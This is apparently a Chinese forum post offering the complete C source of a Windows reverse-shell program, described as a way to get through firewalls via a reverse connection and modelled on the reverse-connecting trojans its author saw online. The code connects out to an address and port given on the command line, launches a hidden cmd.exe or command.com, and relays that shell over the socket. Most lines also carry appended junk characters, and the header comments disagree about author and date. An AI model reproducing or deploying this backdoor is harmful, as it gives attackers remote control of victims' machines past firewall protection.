这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 CYZ0F5+t
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/* ============================== R_B`dP<"~Y
Rebound port in Windows NT ~c${?uf
By wind,2006/7 {J]x81}*;
===============================*/ !c;BOCqa
#include M1J77LfS8
#include a$]i8AeG
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#pragma comment(lib,"wsock32.lib") Bb*P);#.K
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void OutputShell(); ~
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SOCKET sClient; X^)vZL?
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; qORRpWyx&
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void main(int argc,char **argv) ObSRd$M
{ aLO'.5
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WSADATA stWsaData; Gk]6WLi
int nRet; ?(>fB2^
SOCKADDR_IN stSaiClient,stSaiServer; eY8rm
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if(argc != 3) ?VR:e7|tU
{ 4x2,X`pe3
printf("Useage:\n\rRebound DestIP DestPort\n"); P:fcbfH+
return; E@7);i5K
} x#}{z1op9
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WSAStartup(MAKEWORD(2,2),&stWsaData); h4tAaPcS+
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ';3#t(J;
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stSaiClient.sin_family = AF_INET; /eY}0q%
stSaiClient.sin_port = htons(0); :bu]gj4e
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ><H*T{
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) C!}t6
{ 6Ej.X)~'K
printf("Bind Socket Failed!\n"); I6rB_~]h
return; R>R8LIZZc
} 3h`_Qv%g
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stSaiServer.sin_family = AF_INET; \7] SG
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); H1-eMDe
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ")D5ulb\
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) sU0W)c;
{ V~fPp"F
printf("Connect Error!"); pd}Cg'}X
return; MP$9W)
} ?C(3T KH
OutputShell(); Zk>#T:{h
} B;c2gu
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void OutputShell() k%%0"+y#a
{ 2JL\1=k;
char szBuff[1024]; .dKFQH iYJ
SECURITY_ATTRIBUTES stSecurityAttributes; @ ('/NjTZ
OSVERSIONINFO stOsversionInfo; CJe~>4BT
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 4^_'LiX3[
STARTUPINFO stStartupInfo; 9qI#vHA
char *szShell; %JPBD]&M
PROCESS_INFORMATION stProcessInformation; XB;C~:
unsigned long lBytesRead; $u%7]]Y^\
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); #}S<O_
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); >*Ctp +X@
stSecurityAttributes.lpSecurityDescriptor = 0; [(*?
stSecurityAttributes.bInheritHandle = TRUE; Y>Fh<"A|$
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 4KB>O)YNg'
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); W[t0hbVw
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); Sc9}WU
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; bPVQ-
stStartupInfo.wShowWindow = SW_HIDE; v /x~L$[
stStartupInfo.hStdInput = hReadPipe; R3hyz~\x&
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; PauF)p
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GetVersionEx(&stOsversionInfo); ):7mK03J
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switch(stOsversionInfo.dwPlatformId) J=6(
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{ KZGy&u
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case 1: r mJ`^6V
szShell = "command.com"; NM+(ss'
break; >>%E?'9A
default: 3gs!ojG
szShell = "cmd.exe"; #83pitcc
break; q!AcMd\
} (D2N_l(`<
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); T!Nv
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send(sClient,szMsg,77,0); )8%m|v#W
while(1) v,d'SR.
{ /wU4^8Hz
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); M`p[ Zq
if(lBytesRead) w\y)
{ <op|yh3Jkk
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); w7Ij=!)
send(sClient,szBuff,lBytesRead,0); 11?d,6Jl
} #oJ%i+V
else =[LUOOR*]
{ }6!m Q
lBytesRead=recv(sClient,szBuff,1024,0); _~bG[lX !
if(lBytesRead<=0) break; mr>dZ)
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ffR<G&"n~b
} z!aU85y
} nrKir
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return; Vp1Ff
}